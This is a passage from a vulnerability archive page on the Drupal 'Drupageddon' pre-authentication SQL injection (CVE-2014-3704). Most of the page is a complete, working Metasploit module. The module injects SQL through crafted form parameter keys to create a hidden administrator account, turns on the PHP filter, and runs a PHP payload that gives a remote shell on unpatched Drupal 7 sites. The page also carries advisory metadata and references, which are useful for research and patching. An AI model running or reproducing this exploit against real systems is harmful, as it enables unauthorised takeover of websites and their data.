Drupal HTTP Parameter Key/Value SQL Injection

2014.10.18
Credit: Brandon
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection', 'Description' => %q{ This module exploits the Drupal HTTP Parameter Key/Value SQL Injection (aka Drupageddon) in order to achieve a remote shell on the vulnerable instance. This module was tested against Drupal 7.0 and 7.31 (was fixed in 7.32). }, 'License' => MSF_LICENSE, 'Author' => [ 'SektionEins', # discovery 'Christian Mehlmauer', # msf module 'Brandon Perry' # msf module ], 'References' => [ ['CVE', '2014-3704'], ['URL', 'https://www.drupal.org/SA-CORE-2014-005'], ['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['Drupal 7.0 - 7.31',{}]], 'DisclosureDate' => 'Oct 15 2014', 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']) ], self.class) register_advanced_options( [ OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']), OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10]) ], self.class) end def uri_path normalize_uri(target_uri.path) end def admin_role datastore['ADMIN_ROLE'] end def iter datastore['ITER'] end def itoa64 './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' end # PHPs PHPASS base64 method def phpass_encode64(input, count) out = '' cur = 0 while cur < count value = input[cur].ord cur += 1 out << itoa64[value & 0x3f] if cur < count value |= input[cur].ord << 8 end out << itoa64[(value >> 6) & 0x3f] break if cur >= count cur += 1 if cur < count value |= input[cur].ord << 16 end out << itoa64[(value >> 12) & 0x3f] break if cur >= count cur += 1 out << itoa64[(value >> 18) & 0x3f] end out end def generate_password_hash(pass) # Syntax for MD5: # $P$ = MD5 # one char representing the hash iterations (min 7) # 8 chars salt # MD5_raw(salt.pass) + iterations # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5 iter_char = itoa64[iter] salt = Rex::Text.rand_text_alpha(8) md5 = Rex::Text.md5_raw("#{salt}#{pass}") # convert iter from log2 to integer iter_count = 2**iter 1.upto(iter_count) { md5 = Rex::Text.md5_raw("#{md5}#{pass}") } md5_base64 = phpass_encode64(md5, md5.length) md5_stripped = md5_base64[0...22] pass = "$P\\$" + iter_char + salt + md5_stripped vprint_debug("#{peer} - password hash: #{pass}") return pass end def sql_insert_user(user, pass) "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users" end def sql_make_user_admin(user) "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))" end def extract_form_ids(content) form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/ form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/ vprint_debug("#{peer} - form_build_id: #{form_build_id}") vprint_debug("#{peer} - form_token: #{form_token}") return form_build_id, form_token end def exploit # TODO: Check if option admin_role exists via admin/people/permissions/roles # call login page to extract tokens print_status("#{peer} - Testing page") res = send_request_cgi({ 'uri' => uri_path, 'vars_get' => { 'q' => 'user/login' } }) unless res and res.body fail_with(Failure::Unknown, "No response or response body, bailing.") end form_build_id, form_token = extract_form_ids(res.body) user = Rex::Text.rand_text_alpha(10) pass = Rex::Text.rand_text_alpha(10) post = { "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10), 'name[0]' => Rex::Text.rand_text_alpha(10), 'pass' => Rex::Text.rand_text_alpha(10), 'form_build_id' => form_build_id, 'form_id' => 'user_login', 'op' => 'Log in' } print_status("#{peer} - Creating new user #{user}:#{pass}") res = send_request_cgi({ 'uri' => uri_path, 'method' => 'POST', 'vars_post' => post, 'vars_get' => { 'q' => 'user/login' } }) unless res and res.body fail_with(Failure::Unknown, "No response or response body, bailing.") end # login print_status("#{peer} - Logging in as #{user}:#{pass}") res = send_request_cgi({ 'uri' => uri_path, 'method' => 'POST', 'vars_post' => { 'name' => user, 'pass' => pass, 'form_build_id' => form_build_id, 'form_id' => 'user_login', 'op' => 'Log in' }, 'vars_get' => { 'q' => 'user/login' } }) unless res and res.code == 302 fail_with(Failure::Unknown, "No response or response body, bailing.") end cookie = res.get_cookies vprint_debug("#{peer} - cookie: #{cookie}") # call admin interface to extract CSRF token and enabled modules print_status("#{peer} - Trying to parse enabled modules") res = send_request_cgi({ 'uri' => uri_path, 'vars_get' => { 'q' => 'admin/modules' }, 'cookie' => cookie }) form_build_id, form_token = extract_form_ids(res.body) enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/ enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match } unless enabled_matches fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.") end post = { 'modules[Core][php][enable]' => '1', 'form_build_id' => form_build_id, 'form_token' => form_token, 'form_id' => 'system_modules', 'op' => 'Save configuration' } enabled_matches.each do |match| post[match.captures[0]] = '1' end # enable PHP filter print_status("#{peer} - Enabling the PHP filter module") res = send_request_cgi({ 'uri' => uri_path, 'method' => 'POST', 'vars_post' => post, 'vars_get' => { 'q' => 'admin/modules/list/confirm' }, 'cookie' => cookie }) unless res and res.body fail_with(Failure::Unknown, "No response or response body, bailing.") end # Response: http 302, Location: http://10.211.55.50/?q=admin/modules print_status("#{peer} - Setting permissions for PHP filter module") # allow admin to use php_code res = send_request_cgi({ 'uri' => uri_path, 'vars_get' => { 'q' => 'admin/people/permissions' }, 'cookie' => cookie }) unless res and res.body fail_with(Failure::Unknown, "No response or response body, bailing.") end form_build_id, form_token = extract_form_ids(res.body) perm_regex = /name="(.*)" value="(.*)" checked="checked"/ enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match } unless enabled_perms fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.") end # get administrator role id id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/ vprint_debug("#{peer} - admin role id: #{id}") unless id fail_with(Failure::Unknown, "Could not parse out administrator ID") end post = { "#{id}[use text format php_code]" => 'use text format php_code', 'form_build_id' => form_build_id, 'form_token' => form_token, 'form_id' => 'user_admin_permissions', 'op' => 'Save permissions' } enabled_perms.each do |match| post[match.captures[0]] = match.captures[1] end res = send_request_cgi({ 'uri' => uri_path, 'method' => 'POST', 'vars_post' => post, 'vars_get' => { 'q' => 'admin/people/permissions' }, 'cookie' => cookie }) unless res and res.body fail_with(Failure::Unknown, "No response or response body, bailing.") end # Add new Content page (extract csrf token) print_status("#{peer} - Getting tokens from create new article page") res = send_request_cgi({ 'uri' => uri_path, 'vars_get' => { 'q' => 'node/add/article' }, 'cookie' => cookie }) unless res and res.body fail_with(Failure::Unknown, "No response or response body, bailing.") end form_build_id, form_token = extract_form_ids(res.body) # Preview to trigger the payload data = Rex::MIME::Message.new data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"') data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"') data.add_part(form_token, nil, nil, 'form-data; name="form_token"') data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"') data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"') data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"') data.add_part('Preview', nil, nil, 'form-data; name="op"') data.add_part(user, nil, nil, 'form-data; name="name"') data.add_part('1', nil, nil, 'form-data; name="status"') data.add_part('1', nil, nil, 'form-data; name="promote"') post_data = data.to_s print_status("#{peer} - Calling preview page. Exploit should trigger...") send_request_cgi( 'method' => 'POST', 'uri' => uri_path, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'vars_get' => { 'q' => 'node/add/article' }, 'cookie' => cookie ) end end

References:

http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
http://cxsecurity.com/issue/WLB-2014100101


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top